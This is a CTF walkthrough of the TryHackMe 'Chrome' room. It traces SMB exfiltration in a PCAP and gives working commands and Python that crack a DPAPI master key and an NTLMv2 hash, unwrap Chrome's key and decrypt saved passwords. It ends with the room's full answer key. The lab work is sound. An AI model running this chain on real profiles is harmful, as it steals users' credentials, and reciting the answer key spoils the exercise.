
TryHackMe Chrome Walkthrough: Recover Saved Chrome Passwords From a PCAP
The Chrome room on TryHackMe is network forensics with a Windows credential twist at the end. You get a 73 MB capture from a Windows machine that was robbed in plain sight: a Chrome profile was zipped, encrypted with a hardcoded key, and written back over SMB. The room description gives the theme away. A password manager is only as strong as the password that encrypts it, and here the "vault" is Chrome's saved password store.
I worked through the room from start to finish and this is the exact path I used, in the order I used it. Every step has a GUI way (Wireshark, dnSpy, CyberChef, DB Browser for SQLite) and a terminal way, so follow whichever one you prefer. Both lead to the same five answers at the bottom.
One warning before you start. transfer.exe inside the archive is a .NET credential tool and you should treat it as live malware. Do all of this in a VM that you can delete, and never run the executable. I only ever read it.
What the room hands you
chromefiles.zip, MD5cc7b7d9dc26e9a5829bc981b82a923c6traffic.pcapnginside it, 4,811 packets captured over 24.35 seconds
Confirm the download before you touch anything:
md5sum chromefiles.zip
# cc7b7d9dc26e9a5829bc981b82a923c6 chromefiles.zip
Then unzip it and work inside a dedicated folder. The rest of this post assumes that folder is your working directory.
Step 1: See what kind of traffic you are dealing with
Wireshark
- Open
traffic.pcapng. - Go to Statistics, then Protocol Hierarchy.
- The vast majority of the bytes sit under SMB2, about 84 percent of the capture. This is a file transfer, not someone browsing.
- Go to Statistics, then Conversations, and check the TCP tab. There is one huge conversation between
10.0.2.19and10.0.2.36:445, port 445 being SMB.
Terminal
capinfos traffic.pcapng
# Number of packets: 4811
# Capture duration: 24.354957 seconds
tshark -r traffic.pcapng -q -z io,phs
# smb2 frames:2863 bytes:63766884
tshark -r traffic.pcapng -q -z conv,tcp
# 10.0.2.19:50166 <-> 10.0.2.36:445 4730 frames 76 MB 24.3550 s
That single conversation carries roughly 75 MB in one direction in under 25 seconds. Someone moved a lot of data onto a file share.
Step 2: Find out who logged in and what they moved
SMB session setup carries the NTLM identity. In Wireshark, type ntlmssp.auth.username in the filter bar, or pull the fields directly:
tshark -r traffic.pcapng -Y 'ntlmssp.auth.username' -T fields \
-e ntlmssp.auth.username -e ntlmssp.auth.domain -e ntlmssp.auth.hostname
# hacked MicrosoftAccount DESKTOP-TJL4BPO
So the account is MicrosoftAccount\hacked logging in from DESKTOP-TJL4BPO. Now look at the share and the filenames:
tshark -r traffic.pcapng -Y 'smb2.cmd == 3' -T fields -e smb2.tree | sort -u
# \\10.0.2.36\share
tshark -r traffic.pcapng -Y 'smb2.filename' -T fields -e smb2.filename | sort -u
# encrypted_files
# transfer.exe
# srvsvc, wkssvc
The story is now clear. The client read a small program, transfer.exe, from the share, and then wrote a 75 MB file called encrypted_files back to the same share. Writing stolen data back to the victim's own share is the exfiltration step, and it is also the attacker's mistake, because the encryption key lives inside that program.
Step 3: Reassemble the files from the capture
Wireshark
- Go to File, then Export Objects, then SMB.
- Save all the listed objects.
Terminal
mkdir exported
tshark -r traffic.pcapng --export-objects smb,exported
ls -l exported
You end up with about a dozen files. Wireshark names objects after the SMB path, so the leading %5c is just an encoded backslash, and the numbers in brackets are separate reads of the same object, so the duplicates can be ignored.
75361952 %5cencrypted_files
5632 %5ctransfer.exe
5632 %5ctransfer(1).exe
5632 %5ctransfer(2).exe
160 %5csrvsvc
160 %5cwkssvc
Two of them matter, %5ctransfer.exe and %5cencrypted_files. Rename them to something sane and carry on.
One gotcha that cost me a few minutes: tshark drops privileges when it runs, so if the capture sits in a directory your user can read but the tshark user cannot traverse, you get You don't have permission to read the file even though cat reads it fine. Copy the pcap somewhere world readable such as /tmp and the problem disappears.
Step 4: Read the encryption key out of transfer.exe
GUI way
Open transfer.exe in dnSpy or ILSpy. It is a tiny .NET console app with a single Main method. Read it top to bottom and the whole scheme is right there: two string literals converted with Encoding.UTF8.GetBytes, assigned to the AES key and IV, Aes.Create(), a CryptoStream writing the encrypted bytes, then File.WriteAllBytes to encrypted_files.
Terminal way
.NET stores string literals as UTF-16, so plain strings finds nothing useful. Use the UTF-16 mode:
strings -el -n 6 %5ctransfer.exe
# PjoM95MpBdz85Kk7ewcXSLWCoAr7mRj1
# lR3soZqkaWZ9ojTX
# C:\Users\hadri\Downloads\files.zip
# C:\Users\hadri\Downloads\encrypted_files
# File encrypted and saved successfully.
If you want to see the same thing as the decompiler view, monodis from mono-utils prints the raw IL:
monodis %5ctransfer.exe | grep -n 'ldstr'
# 82: IL_0007: ldstr "PjoM95MpBdz85Kk7ewcXSLWCoAr7mRj1"
# 86: IL_0017: ldstr "lR3soZqkaWZ9ojTX"
Both values are 32 and 16 bytes of ASCII text. A 32 byte key means AES-256, and Aes.Create() in .NET defaults to CBC with PKCS#7 padding, which is exactly the combination used here.
- Key:
PjoM95MpBdz85Kk7ewcXSLWCoAr7mRj1 - IV:
lR3soZqkaWZ9ojTX
The hardcoded C:\Users\hadri\Downloads\... paths also confirm which side of the share the program ran on.
Step 5: Decrypt encrypted_files
CyberChef (GUI)
- Drag in the AES Decrypt operation.
- Key:
PjoM95MpBdz85Kk7ewcXSLWCoAr7mRj1as UTF-8, IV:lR3soZqkaWZ9ojTXas UTF-8, mode CBC, input raw, output raw. - Load
encrypted_filesand save the output asfiles.zip.
If the output does not start with PK, the mode or IV is wrong. Do not upload the blob to a public CyberChef instance; run it locally or use the terminal.
Terminal
openssl wants the key and IV in hex, not as text:
openssl enc -d -aes-256-cbc \
-K 506a6f4d39354d7042647a38354b6b3765776358534c57436f4172376d526a31 \
-iv 6c5233736f5a716b61575a396f6a5458 \
-in encrypted_files -out files.zip
head -c 2 files.zip # PK
unzip -t files.zip # No errors detected in compressed data
The encrypted blob is 75,361,952 bytes and the decrypted ZIP is 75,361,948 bytes. The 4 byte difference is PKCS#7 padding, four bytes of 0x04 at the very end. openssl enc -d removes that padding for you by default, which is why the ZIP comes out byte exact and unzip -t reports no errors. If you decrypt with a raw AES API instead, you get all 75,361,952 bytes and have to drop the trailing 04 04 04 04 yourself. Add -nopad to the openssl command if you want to see the padding remain.
Now extract it:
mkdir chrome_profile
unzip -q files.zip -d chrome_profile
Step 6: Look at what was stolen
Inside the ZIP is a Windows user profile, and the interesting pieces are:
AppData/Roaming/Microsoft/Protect/CREDHIST 24 bytes
AppData/Roaming/Microsoft/Protect/S-1-5-21-3854677062-.../8c6b6187-... 468 bytes
AppData/Local/Google/Chrome/User Data/Default/Login Data 46 KB
AppData/Local/Google/Chrome/User Data/Local State 67 KB
Three files decide the whole room. Login Data is Chrome's SQLite password database, Local State holds the key that Chrome uses to encrypt that database, and the 468 byte file in the Protect folder is the DPAPI master key that protects the Local State key. That is three locks stacked on each other.
Step 7: Read Chrome's login database
DB Browser for SQLite (GUI)
Open Login Data, go to the Browse Data tab, pick the logins table, and you will see two rows with the site, the username and an encrypted password_value blob.
Terminal
sqlite3 "chrome_profile/AppData/Local/Google/Chrome/User Data/Default/Login Data" \
"SELECT id, origin_url, username_value, length(password_value),
hex(substr(password_value,1,3)) FROM logins ORDER BY id;"
# 1|https://mysecuresite.thm/|Administrator|45|763130
# 2|https://worksite.thm/|chrome|43|763130
763130 is the hex for the ASCII string v10, which is Chrome on Windows telling you the format: three bytes of version tag, a 12 byte nonce, the ciphertext, and a 16 byte authentication tag. So row 1 is a 45 byte blob, meaning 45 minus 3 minus 12 minus 16 gives 14 bytes of password, which matches the 14 character hint the room gives for question 3. Useful sanity check before you burn time on the wrong file.
The key that decrypts those blobs is not in this database. It is in Local State:
python3 - <<'PY'
import base64, json
s = json.load(open("chrome_profile/AppData/Local/Google/Chrome/User Data/Local State"))
w = base64.b64decode(s["os_crypt"]["encrypted_key"])
print(len(s["os_crypt"]["encrypted_key"]), len(w), w[:5])
PY
# 356 267 b'DPAPI'
The Base64 string starts with RFBBUEk, which decodes to DPAPI. Chrome encrypted its own AES key with DPAPI, and DPAPI encrypted that with the Windows logon password. So the real question of this room becomes: what is the Windows password of the stolen profile?
Step 8: Crack the DPAPI master key
DPAPI master keys do not fall to a decryption, they fall to a dictionary attack. Convert the master key file into a hash format first.
SID="S-1-5-21-3854677062-280096443-3674533662-1001"
MK="chrome_profile/AppData/Roaming/Microsoft/Protect/$SID/8c6b6187-8eaa-48bd-be16-98212a441580"
python3 DPAPImk2john.py -mk "$MK" -S "$SID" -c local > dpapi.hash
head -c 120 dpapi.hash
# $DPAPImk$2*1*S-1-5-21-3854677062-280096443-3674533662-1001*aes256*sha512*8000*46bc22dbffb7cfe4cfc589
The format carries everything the cracker needs: the SID, aes256 as the master key encryption, sha512 for the password derivation, and 8000 PBKDF2 iterations. Because of those iterations, this is intentionally slow to guess, so a weak password is the only reason it will fall.
hashcat -m 15900 -a 0 dpapi.hash rockyou.txt
hashcat -m 15900 dpapi.hash --show
# ...:bubbles
That is the first answer of the room.
Question 1 answer: bubbles
Two details worth knowing. bubbles is at line 47 of rockyou.txt, so it cracks in the first second. And bubbles is not the SMB password. The SMB account password is a different, also weak password called hacked, and mixing the two up is the most common way to stall in this room. If you want to confirm that second one too, the NTLMv2 response is in the capture:
tshark -r traffic.pcapng -Y 'smb2.cmd == 1 && ntlmssp.auth.username' -T fields \
-e ntlmssp.auth.username -e ntlmssp.auth.domain -e ntlmssp.ntlmv2_response | tail -1 > ntlm_raw.txt
cat ntlm_raw.txt
# hacked MicrosoftAccount 244685bd249979d4bd166a0abdfa27d90101000000...
The first 32 hex characters are NTProofStr, the rest is the blob, and hashcat mode 5600 wants USER::DOMAIN:CHALLENGE:PROOF:BLOB. The server challenge in this capture is a very obvious lab artifact, aaaaaaaaaaaaaaaa:
python3 - <<'PY' > ntlm2.hash
user, domain, response = open("ntlm_raw.txt").read().strip().split("\t")
proof, blob = response[:32], response[32:]
print(f"{user}::{domain}:aaaaaaaaaaaaaaaa:{proof}:{blob}")
PY
hashcat -m 5600 -a 0 ntlm2.hash rockyou.txt
# ...:hacked
Both passwords are weak, and neither one protects the other. That is the point the room is making.
Step 9: Unwrap Chrome's AES key
Now take bubbles and use it to decrypt the master key, then use that master key to unwrap the DPAPI blob from Local State.
Impacket's dpapi.py
python3 dpapi.py masterkey -file "$MK" -sid "$SID" -password bubbles
# Decrypted key: 0xca4387eb0a71fc0eea23e27f54b9ae24...868a03ee6a3f9840
A correct password prints the 64 byte master key that started with ca4387eb. A wrong one prints Cannot decrypt, which makes this a fast way to test a candidate before you spend time on a full wordlist run.
Mimikatz (Windows only, if you want the GUI route)
dpapi::masterkey /in:"C:\path\to\8c6b6187-8eaa-48bd-be16-98212a441580" /sid:S-1-5-21-3854677062-280096443-3674533662-1001 /password:bubbles /protected
dpapi::chrome /in:"C:\path\to\Login Data" /masterkey:<64 byte key> /encryptedKey:<full Base64 from Local State>
Do this in a disposable VM. Windows Defender flags mimikatz for good reason, and disabling your host antivirus to run a credential tool is a bad trade.
Python
import base64, json
from pypykatz.dpapi.dpapi import DPAPI
PROFILE = "chrome_profile/AppData/Local/Google/Chrome/User Data"
SID = "S-1-5-21-3854677062-280096443-3674533662-1001"
MASTERKEY = ("chrome_profile/AppData/Roaming/Microsoft/Protect/"
f"{SID}/8c6b6187-8eaa-48bd-be16-98212a441580")
dpapi = DPAPI()
dpapi.get_prekeys_from_password(SID, password="bubbles")
dpapi.decrypt_masterkey_bytes(open(MASTERKEY, "rb").read())
wrapped = base64.b64decode(
json.load(open(f"{PROFILE}/Local State"))["os_crypt"]["encrypted_key"])
chrome_key = dpapi.decrypt_blob_bytes(wrapped[5:])
print(chrome_key.hex())
# 9a3094f1bfe3e19d5d039fb569d35d49ad083ac34dbcd5d9e42a506b8d4a192c
The [5:] slice drops the DPAPI prefix. The 64 byte master key is used to unwrap the 32 byte Chrome AES key, which is the key that actually protects the passwords.
Step 10: Decrypt the saved passwords
Chrome uses AES-256-GCM, so the tag has to be handed to the decryptor together with the ciphertext, and the nonce is the 12 bytes right after the v10 tag.
import sqlite3
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
con = sqlite3.connect("chrome_profile/AppData/Local/Google/Chrome/User Data/Default/Login Data")
for rowid, url, user, blob in con.execute(
"SELECT id, origin_url, username_value, password_value FROM logins ORDER BY id"):
password = AESGCM(chrome_key).decrypt(blob[3:15], blob[15:-16] + blob[-16:], None)
print(rowid, url, user, password.decode())
Output:
1 https://mysecuresite.thm/ Administrator Sup3rPaS$w0rd1
2 https://worksite.thm/ chrome Sup3rSecuR3!
That is the whole room unlocked. If you get an InvalidTag error, it is almost always the nonce split or a key that is not 32 bytes, not a wrong password.
The five answers
Two of the questions want the URLs fully defanged, meaning they cannot be clicked if someone copies them into a chat or a report. The answer key here uses the fully bracketed style, and the "first index" and "second index" mean the first and second rows of that logins table.
| # | Question | Answer |
|---|---|---|
| 1 | What is the first password that we find? | bubbles |
| 2 | URL in the first index, fully defanged | hxxps[://]mysecuresite[.]thm/ |
| 3 | Password in the first index | Sup3rPaS$w0rd1 |
| 4 | URL in the second index, fully defanged | hxxps[://]worksite[.]thm/ |
| 5 | Password in the second index | Sup3rSecuR3! |
If the room rejects the bracketed URL, try the lighter defang that only brackets the dot, such as hxxps://mysecuresite[.]thm/. It is the same URL, and some front ends are picky about which style they accept.
Why the attack worked
Nothing here was exotic. It worked because of four small weaknesses that stacked up:
- The AES key was hardcoded in the binary. Anyone holding
transfer.execan decrypt whatever it produced, forever. - The Windows account password was a dictionary word. DPAPI is solid, but it can be attacked offline and 8000 PBKDF2 iterations do not save a weak password.
- Chrome's
Login Data,Local Stateand the DPAPI master key were exfiltrated together. Browser encryption protects data at rest on a machine, not a folder that has already been copied out. - 75 MB left the host over SMB in 24 seconds with no one watching. That is a monitoring gap more than a cryptography gap.
If you want the defensive version of this post: rotate secrets instead of shipping them in binaries, use SMB 3.x encryption and tight share permissions, force long passphrases or Windows Hello for logon, and alert on large outbound SMB writes.
Questions I had while working through it
Is there a THM flag in the Chrome room? No. There is no THM{...} string anywhere in this room. The five answer boxes are the graded objectives, so treat those five values as the flags.
Why is bubbles the first password instead of hacked? Because hacked is the SMB login password, which is a decoy, and the room walks you toward the DPAPI master key password first. bubbles is the one that unlocks the Chrome data.
Can you finish the room without Wireshark? Yes. tshark with --export-objects smb gives you the same files Wireshark's Export Objects menu does, and the rest of the room is command line anyway.
Which hashcat mode cracks DPAPI master keys? Mode 15900, DPAPImk, generated from the master key file with DPAPImk2john.py. John the Ripper can do it too, but only the jumbo build.
Closing notes
The most useful habit from this room is the layering. Rather than staring at a 73 MB capture, you reduce it to two files, then to one key inside a 5 KB binary, then to one weak password, then to two saved logins. Each layer was small enough to solve on its own, and the answer to the whole room is just the last layer plus a bit of defanging.
If you are working through it now and got stuck at the $DPAPImk$ hash or the v10 blob offsets, those two are the usual walls. Print the lengths, print the prefixes, and check which password you are actually holding.